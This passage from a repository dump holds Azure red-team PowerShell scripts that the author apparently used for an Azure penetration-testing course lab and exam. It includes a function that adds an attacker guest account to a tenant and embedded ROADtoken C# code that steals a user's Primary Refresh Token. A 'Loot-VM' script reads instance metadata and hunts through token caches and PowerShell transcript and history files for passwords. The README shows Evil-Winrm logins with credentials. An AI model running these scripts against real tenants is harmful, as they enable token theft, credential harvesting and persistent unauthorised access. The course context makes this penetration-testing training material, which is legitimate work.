https://graph.microsoft.com 4511 | } 4512 | 4513 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 4514 | Write-Error "Cannot acquire Azure AD Access Token!" 4515 | Return 4516 | } 4517 | 4518 | $Coll = New-Object System.Collections.ArrayList 4519 | $UserId = Get-ARTUserId 4520 | 4521 | $dynamicGroups = Get-AzureADMSGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" -All:$true 4522 | 4523 | $dynamicGroups | % { 4524 | $out = Invoke-ARTGETRequest -AccessToken $AccessToken -Uri "https://graph.microsoft.com/v1.0/groups/$($_.Id)" 4525 | 4526 | $members = Get-AzureADGroupMember -ObjectId $_.Id 4527 | 4528 | $obj = [PSCustomObject]@{ 4529 | ObjectId = $out.Id 4530 | DisplayName = $out.DisplayName 4531 | IsCurrentUserMember = ($members.ObjectId -contains $UserId) 4532 | Description = $out.Description 4533 | MembersCount = $members.Length 4534 | MembershipRule = $out.MembershipRule 4535 | } 4536 | 4537 | $null = $Coll.Add($obj) 4538 | } 4539 | 4540 | Return $Coll 4541 | } 4542 | catch { 4543 | Write-Host "[!] Function failed!" -ForegroundColor Red 4544 | Throw 4545 | Return 4546 | } 4547 | finally { 4548 | $ErrorActionPreference = $EA 4549 | } 4550 | } 4551 | 4552 | 4553 | 4554 | 4555 | Function Add-ARTADGuestUser { 4556 | <# 4557 | .SYNOPSIS 4558 | Invites Guest user to Azure AD & returns Invite Redeem URL used to easily accept the invitation. 4559 | 4560 | .DESCRIPTION 4561 | Sends Azure AD Guest user invitation e-mail, allowing to expand access to AAD tenant for the external attacker & returns Invite Redeem URL used to easily accept the invitation. 4562 | 4563 | .PARAMETER UserEmail 4564 | Required. Guest user's e-mail address. 4565 | 4566 | .PARAMETER UserDisplayName 4567 | Optional. Guest user's display name. 4568 | 4569 | .PARAMETER RedirectUrl 4570 | Optional. Where to redirect user after accepting his invitation. Default: myapps.microsoft.com 4571 | 4572 | .EXAMPLE 4573 | Example 1: Adds attacker account to the target Azure AD as a Guest: 4574 | PS C:\> Add-ARTADGuestUser -UserEmail attacker@contoso.onmicrosoft.com 4575 | #> 4576 | 4577 | [CmdletBinding()] 4578 | Param( 4579 | [Parameter(Mandatory=$True)] 4580 | [string] 4581 | $UserEmail, 4582 | 4583 | [Parameter(Mandatory=$False)] 4584 | [string] 4585 | $UserDisplayName, 4586 | 4587 | [Parameter(Mandatory=$False)] 4588 | [string] 4589 | $RedirectUrl = "https://myapps.microsoft.com" 4590 | ) 4591 | 4592 | try { 4593 | $EA = $ErrorActionPreference 4594 | $ErrorActionPreference = 'silentlycontinue' 4595 | 4596 | if($UserDisplayName -eq $null -or $UserDisplayName.Length -eq 0) { 4597 | $UserDisplayName = $UserEmail.Split('@')[0] 4598 | } 4599 | 4600 | $out = New-AzureADMSInvitation -InvitedUserDisplayName $UserDisplayName -InvitedUserEmailAddress $UserEmail -InviteRedirectURL $RedirectUrl -SendInvitationMessage $false 4601 | 4602 | $out | Select Id,InvitedUserDisplayName,InvitedUserEmailAddress,InviteRedeemUrl,InviteRedirectUrl,InvitedUserType,Status | fl 4603 | 4604 | Write-Host "[+] Invitation Redeem URL:`n" -ForegroundColor Green 4605 | Write-Host "$($out.InviteRedeemUrl)`n" 4606 | } 4607 | catch { 4608 | Write-Host "[!] Function failed!" -ForegroundColor Red 4609 | Throw 4610 | Return 4611 | } 4612 | finally { 4613 | $ErrorActionPreference = $EA 4614 | } 4615 | } 4616 | 4617 | 4618 | Function Get-ARTTenants { 4619 | <# 4620 | .SYNOPSIS 4621 | List Tenants available for the currently authenticated user 4622 | 4623 | .DESCRIPTION 4624 | List Tenants available for the currently authenticated user (or the one based on supplied Access Token) 4625 | 4626 | .PARAMETER AccessToken 4627 | Azure Management access token 4628 | 4629 | .EXAMPLE 4630 | PS C:\> Get-ARTTenants 4631 | #> 4632 | 4633 | [CmdletBinding()] 4634 | Param( 4635 | [Parameter(Mandatory=$False)] 4636 | [string] 4637 | $AccessToken 4638 | ) 4639 | 4640 | try { 4641 | $EA = $ErrorActionPreference 4642 | $ErrorActionPreference = 'silentlycontinue' 4643 | 4644 | $resource = "https://management.azure.com" 4645 | 4646 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 4647 | Write-Verbose "Access Token not provided. Requesting one from Get-AzAccessToken ..." 4648 | $AccessToken = Get-ARTAccessTokenAz -Resource $resource 4649 | } 4650 | 4651 | $tenants = Invoke-ARTGETRequest -Uri "https://management.azure.com/tenants?api-version=2019-06-01" -AccessToken $AccessToken 4652 | $tenants | select tenantId,displayName,tenantCategory,@{Name="domains";Expression={$tenants | select -ExpandProperty domains}} 4653 | } 4654 | catch { 4655 | Write-Host "[!] Function failed!" -ForegroundColor Red 4656 | Throw 4657 | Return 4658 | } 4659 | finally { 4660 | $ErrorActionPreference = $EA 4661 | } 4662 | } 4663 | 4664 | Function Get-ARTTenantID { 4665 | <# 4666 | .SYNOPSIS 4667 | Retrieves Current user's Tenant ID or Tenant ID based on Domain name supplied. 4668 | 4669 | .DESCRIPTION 4670 | Retrieves Current user's Tenant ID or Tenant ID based on Domain name supplied. 4671 | 4672 | .EXAMPLE 4673 | PS C:\> Get-ARTTenantID 4674 | #> 4675 | [CmdletBinding()] 4676 | Param( 4677 | [string] 4678 | $DomainName = $null 4679 | ) 4680 | 4681 | $TenantId = $null 4682 | 4683 | if($DomainName -eq $null -or $DomainName.Length -eq 0) { 4684 | try { 4685 | $TenantId = (Get-AzContext).Tenant.Id 4686 | Write-Verbose "Tenant ID acquired via Az module: $TenantId" 4687 | 4688 | } catch { 4689 | try { 4690 | $TenantId = (Get-AzureADCurrentSessionInfo).Tenant.Id 4691 | Write-Verbose "Tenant ID acquired via AzureAD module: $TenantId" 4692 | } 4693 | catch{ 4694 | try { 4695 | $TenantId = (dsregcmd /status | sls -Pattern 'TenantId\s+:\s+(.+)').Matches.Groups[1].Value 4696 | Write-Verbose "Tenant ID acquired via dsregcmd parsing: $TenantId" 4697 | } 4698 | catch { 4699 | Write-Error "Could not acquire Tenant ID!" 4700 | } 4701 | } 4702 | } 4703 | } 4704 | else { 4705 | Try { 4706 | $openIDConfig = Invoke-RestMethod -UseBasicParsing "https://login.microsoftonline.com/$DomainName/.well-known/openid-configuration" 4707 | } 4708 | catch { 4709 | Write-Error "Could not acquire Tenant ID!" 4710 | return $null 4711 | } 4712 | 4713 | $TenantId = $openIDConfig.authorization_endpoint.Split("/")[3] 4714 | } 4715 | 4716 | Return $TenantId 4717 | } 4718 | 4719 | 4720 | Function Get-ARTPRTNonce { 4721 | <# 4722 | .SYNOPSIS 4723 | Retrieves Current user's PRT (Primary Refresh Token) nonce value 4724 | 4725 | .DESCRIPTION 4726 | Retrieves Current user's PRT (Primary Refresh Token) nonce value 4727 | 4728 | .EXAMPLE 4729 | PS C:\> Get-ARTPRTNonce 4730 | #> 4731 | [CmdletBinding()] 4732 | Param( 4733 | [Parameter(Mandatory=$False)] 4734 | [String] 4735 | $TenantId 4736 | ) 4737 | 4738 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 4739 | $TenantId = Get-ARTTenantID 4740 | } 4741 | 4742 | Write-Verbose "Using Tenant ID: $TenantId" 4743 | 4744 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 4745 | Write-Error "Could not obtain Tenant ID! Specify one in -TenantId parameter" 4746 | Return 4747 | } 4748 | 4749 | $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" 4750 | $Params = @{ 4751 | "URI" = $URL 4752 | "Method" = "POST" 4753 | } 4754 | 4755 | $Body = @{ 4756 | "grant_type" = "srv_challenge" 4757 | } 4758 | 4759 | $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body 4760 | Return $Result.Nonce 4761 | } 4762 | 4763 | 4764 | Function Get-ARTPRTToken { 4765 | <# 4766 | .SYNOPSIS 4767 | Retrieves Current user's PRT via Dirk-Jan Mollema's ROADtoken 4768 | 4769 | .DESCRIPTION 4770 | Retrieves Current user's PRT (Primary Refresh Token) value using Dirk-Jan Mollema's ROADtoken 4771 | 4772 | .EXAMPLE 4773 | PS C:\> Get-ARTPRTToken 4774 | #> 4775 | 4776 | $code = @' 4777 | using System; 4778 | using System.Collections.Generic; 4779 | using System.Diagnostics; 4780 | using System.IO; 4781 | using System.Linq; 4782 | using System.Text; 4783 | using System.Threading.Tasks; 4784 | 4785 | namespace ROADToken 4786 | { 4787 | public class Program12 4788 | { 4789 | public static string GetToken(string nonce) 4790 | { 4791 | string[] filelocs = { 4792 | @"C:\Program Files\Windows Security\BrowserCore\browsercore.exe", 4793 | @"C:\Windows\BrowserCore\browsercore.exe" 4794 | }; 4795 | 4796 | string targetFile = null; 4797 | foreach (string file in filelocs) 4798 | { 4799 | if (File.Exists(file)) 4800 | { 4801 | targetFile = file; 4802 | break; 4803 | } 4804 | } 4805 | 4806 | if (targetFile == null) 4807 | { 4808 | Console.WriteLine("[!] Could not find browsercore.exe in one of the predefined locations"); 4809 | return ""; 4810 | } 4811 | 4812 | using (Process myProcess = new Process()) 4813 | { 4814 | myProcess.StartInfo.FileName = targetFile; 4815 | myProcess.StartInfo.UseShellExecute = false; 4816 | myProcess.StartInfo.RedirectStandardInput = true; 4817 | myProcess.StartInfo.RedirectStandardOutput = true; 4818 | string stuff; 4819 | 4820 | stuff = "{" + 4821 | "\"method\":\"GetCookies\"," + 4822 | "\"uri\":\"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=" + nonce + "\"," + 4823 | "\"sender\":\"https://login.microsoftonline.com\"" + 4824 | "}"; 4825 | 4826 | myProcess.Start(); 4827 | 4828 | StreamWriter myStreamWriter = myProcess.StandardInput; 4829 | var myInt = stuff.Length; 4830 | byte[] bytes = BitConverter.GetBytes(myInt); 4831 | myStreamWriter.BaseStream.Write(bytes, 0 , 4); 4832 | myStreamWriter.Write(stuff); 4833 | myStreamWriter.Close(); 4834 | 4835 | string lines = ""; 4836 | while (!myProcess.StandardOutput.EndOfStream) 4837 | { 4838 | string line = myProcess.StandardOutput.ReadLine(); 4839 | lines += line; 4840 | } 4841 | 4842 | var pos = lines.IndexOf("{"); 4843 | return lines.Substring(pos); 4844 | } 4845 | } 4846 | } 4847 | } 4848 | '@ 4849 | 4850 | Add-Type -TypeDefinition $code -Language CSharp 4851 | 4852 | $nonce = Get-ARTPRTNonce 4853 | $out = [ROADToken.Program12]::GetToken($nonce) 4854 | 4855 | try { 4856 | Return ($out | ConvertFrom-Json).response.data 4857 | } 4858 | catch {} 4859 | } 4860 | 4861 | 4862 | Function Import-ARTModules { 4863 | <# 4864 | .SYNOPSIS 4865 | Installs & Imports required & optional Powershell modules for Azure Red Team activities 4866 | 4867 | .DESCRIPTION 4868 | Installs & Imports required & optional Powershell modules for Azure Red Team activities 4869 | 4870 | .EXAMPLE 4871 | PS C:\> Import-ARTModules 4872 | #> 4873 | 4874 | $Modules = @( 4875 | "Az" 4876 | "AzureAD" 4877 | "AADInternals" 4878 | ) 4879 | 4880 | foreach($mod in $Modules) { 4881 | Load-Module $mod 4882 | } 4883 | 4884 | Write-Host "Done." 4885 | } 4886 | 4887 | 4888 | # 4889 | # Source: 4890 | # https://stackoverflow.com/a/51692402 4891 | # 4892 | function Load-Module ($m) { 4893 | # If module is imported say that and do nothing 4894 | if (Get-Module | Where-Object {$_.Name -eq $m}) { 4895 | write-host "Module $m is already imported." 4896 | } 4897 | else { 4898 | 4899 | # If module is not imported, but available on disk then import 4900 | if (Get-InstalledModule | Where-Object {$_.Name -eq $m}) { 4901 | Write-Host "Importing module: $m ..." 4902 | Import-Module $m -ErrorAction SilentlyContinue 4903 | } 4904 | else { 4905 | 4906 | # If module is not imported, not available on disk, but is in online gallery then install and import 4907 | if (Find-Module -Name $m | Where-Object {$_.Name -eq $m}) { 4908 | Write-Host "Installing & Importing module: $m ..." 4909 | #Install-Module -Name $m -Force -Verbose -Scope CurrentUser 4910 | Import-Module $m -Verbose 4911 | } 4912 | else { 4913 | 4914 | # If the module is not imported, not available and not in the online gallery then abort 4915 | write-host "Module $m not imported, not available and not in an online gallery, exiting." 4916 | } 4917 | } 4918 | } 4919 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CARTP Scripts 2 | 3 | ### TL;DR 4 | Random scripts that I used in the CARTP course lab & final exam. 5 | 6 | I relied hevily on **AzureRT** (https://github.com/mgeeky/AzureRT), it had a few bugs that needed fixing, and I also added multiple custom functions to it to speed up repetitive tasks like connecting Az/AzureAD modules, enumeration, etc. 7 | 8 | 9 | ### Custome Tools 10 | ##### Stand-alone 11 | Loot-VM.ps1 12 | 13 | Various post-foothold checks. PRT, AzureADJoin, User Data, PS console history & more. 14 | 15 | ![Alt text](https://raw.githubusercontent.com/init5-SF/CARTP-Scripts/main/image.png) 16 | 17 | _ 18 | 19 | findADFS.ps1 20 | 21 | Checks for ADFS instance in the domain. 22 | 23 | (*Never got the chance to test this tool and probably never will since I'm already done with the exam.*) 24 | 25 | --- 26 | 27 | ##### Included in AzureRT.ps1 28 | Connect-All 29 | 30 | Connects both Az and Azure AD using provided credentials 31 | 32 | `Connect-All -UserName 'admin@foo.onmicrosoft.com' -Password 'Pa$$w0rd'` 33 | 34 | _ 35 | 36 | Evil-Winrm 37 | 38 | You already know what this does x) 39 | 40 | `Evil-Winrm -UserName admin -Password 'Pa$$w0rd' -TargetIP 10.10.10.10 -TargetHostName ADConnectVM` 41 | 42 | _ 43 | 44 | Whois 45 | 46 | Enumerates a given user and lists his details. i.e. Group memeberships, Role assignment, Admin Units, etc. 47 | 48 | `whois 'admin@foo.onmicrosoft.com'` 49 | 50 | _ 51 | 52 | List-DeviceOwners 53 | 54 | Loops all readable users and lists who owns what - no parameters needed. 55 | 56 | `List-DeviceOwners` 57 | 58 | 59 | -------------------------------------------------------------------------------- /findADFS.ps1: -------------------------------------------------------------------------------- 1 | function Find-ADFS { 2 | param ( 3 | [string]$domain 4 | ) 5 | 6 | $configPartitionPath = "LDAP://CN=Configuration,$((Get-WmiObject Win32_ComputerSystem).Domain)" 7 | 8 | try { 9 | # Try to bind to the Configuration partition 10 | $configPartition = [adsi]$configPartitionPath 11 | 12 | # Check if the AD FS container exists in the Configuration partition 13 | $adfsContainer = $configPartition.Children | Where-Object { $_.SchemaClassName -eq 'FederationService' } 14 | 15 | if ($adfsContainer -ne $null) { 16 | # Get the server name where AD FS is installed 17 | $adfsserver = $adfsContainer.Properties["serviceHostName"].Value 18 | Write-Host "AD FS is installed on server: $adfsserver" 19 | } else { 20 | Write-Host "AD FS is not installed in the domain." 21 | } 22 | } catch { 23 | Write-Host "Error: $_" 24 | } 25 | } 26 | 27 | $currentDomain = (Get-WmiObject Win32_ComputerSystem).Domain 28 | 29 | Find-ADFS -domain $currentDomain 30 | -------------------------------------------------------------------------------- /image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/init5-SF/CARTP-Scripts/4892c2de9b09bc743a1df6394b345dc2359e8c07/image.png -------------------------------------------------------------------------------- /lootVM.ps1: -------------------------------------------------------------------------------- 1 | Function Loot-VM { 2 | $output = dsregcmd /status 3 | Write-Host "" 4 | Write-Host "--------------[PRT Check]--------------" 5 | if ($output -match "AzureAdPrt\s+:\s+YES") { 6 | Write-Host -ForegroundColor Red "[+] Machine contains an Azure PRT!" 7 | } 8 | else { Write-Host -ForegroundColor Green "[+] Machine does not contain an Azure PRT." } 9 | 10 | $output = dsregcmd /status 11 | Write-Host "" 12 | Write-Host "--------------[AzureAD Join Check]--------------" 13 | if ($output -match "AzureAdJoined\s+:\s+YES") { 14 | Write-Host -ForegroundColor Red "[+] Machine is joined to AzureAD!" 15 | } 16 | else { Write-Host -ForegroundColor Green "[+] Machine is not joined to AzureAD." } 17 | 18 | Write-Host "" 19 | Write-Host "--------------[User Data Check]--------------" 20 | $userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" -ErrorAction SilentlyContinue 21 | if ($userData) { 22 | Write-Host -ForegroundColor Green "[+] Found User Data!" 23 | $decrypted = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) 24 | Write-Host -ForegroundColor Red " $decrypted " 25 | } 26 | Write-Host "" 27 | Write-Host "--------------[.ssh/.Azure Check]--------------" 28 | Get-ChildItem -Path "C:\Users" -Directory | ForEach-Object { 29 | $userPath = $_.FullName 30 | $userPath_Azure = Join-Path $userPath ".Azure" 31 | 32 | # Check for .ssh folder 33 | If (Test-Path (Join-Path $userPath ".ssh")) { 34 | Write-Host -ForegroundColor Green "[+] .ssh folder found in $userPath" 35 | } 36 | 37 | # Check for accessTokens.json file 38 | If (Test-Path (Join-Path $userPath_Azure "accessTokens.json")) { 39 | Write-Host -ForegroundColor DarkRed "[+] accessTokens.json found in $userPath_Azure" 40 | } 41 | # Check for TokenCache.dat file 42 | If (Test-Path (Join-Path $userPath_Azure "TokenCache.dat")) { 43 | Write-Host -ForegroundColor DarkRed "[+] TokenCache.dat found in $userPath_Azure" 44 | } 45 | } 46 | Write-Host "" 47 | Write-Host "--------------[PS Transcript Check]--------------" 48 | Get-ChildItem -Path "C:\Users" -Directory | ForEach-Object { 49 | $userPath = $_.FullName 50 | $userPath_Azure = Join-Path $userPath ".Azure" 51 | $userPath_Documents = Join-Path $userPath "Documents" 52 | 53 | If (Test-Path $userPath_Documents) { 54 | Get-ChildItem -Path $userPath_Documents -Filter "*PowerShell_transcript*.txt" -File | ForEach-Object { 55 | Write-Host -ForegroundColor Green "[+] Transcript file found: $($_.FullName)" 56 | #$tr = $($_.FullName) 57 | if (Get-Content $($_.FullName) | Select-String -Pattern "pass|pwd|secure|cred|Save-AzContext" | Where {$_ -NotMatch "Get-AzAD|Get-AzureAD"}) { 58 | Write-Host -ForegroundColor Red "[+] Possible loot:" 59 | Get-Content $($_.FullName) | Select-String -Pattern "pass|pwd|secure|cred|Save-AzContext" | Where {$_ -NotMatch "Get-AzAD|Get-AzureAD"} 60 | } 61 | } 62 | } 63 | } 64 | Write-Host "" 65 | Write-Host "--------------[PS ConsoleHistory Check]--------------" 66 | Get-ChildItem -Path "C:\Users" -Directory | ForEach-Object { 67 | $userPath = $_.FullName 68 | $userPath_historyFilePath = Join-Path -Path $userPath "AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" 69 | 70 | If (Test-Path $userPath_historyFilePath) { 71 | Write-Host -ForegroundColor Green "[+] History file found for: $($_.Name)" 72 | Write-Host "[+] Path: $userPath_historyFilePath" 73 | if (Get-Content $userPath_historyFilePath | Select-String -Pattern "pass|pwd|secure|cred|Save-AzContext" | Where {$_ -NotMatch "Get-AzAD|Get-AzureAD"}) { 74 | Write-Host -ForegroundColor Green "[+] Possible loot:" 75 | Write-Host -ForegroundColor Red "__________[/Start of $($_.Name)'s data]__________" 76 | Get-Content $userPath_historyFilePath | Select-String -Pattern "pass|pwd|secure|cred|Save-AzContext" | Where {$_ -NotMatch "Get-AzAD|Get-AzureAD"} 77 | Write-Host "" 78 | Write-Host -ForegroundColor Red "__________[/End of $($_.Name)'s data]__________" 79 | Write-Host "" 80 | } 81 | } 82 | } 83 | } --------------------------------------------------------------------------------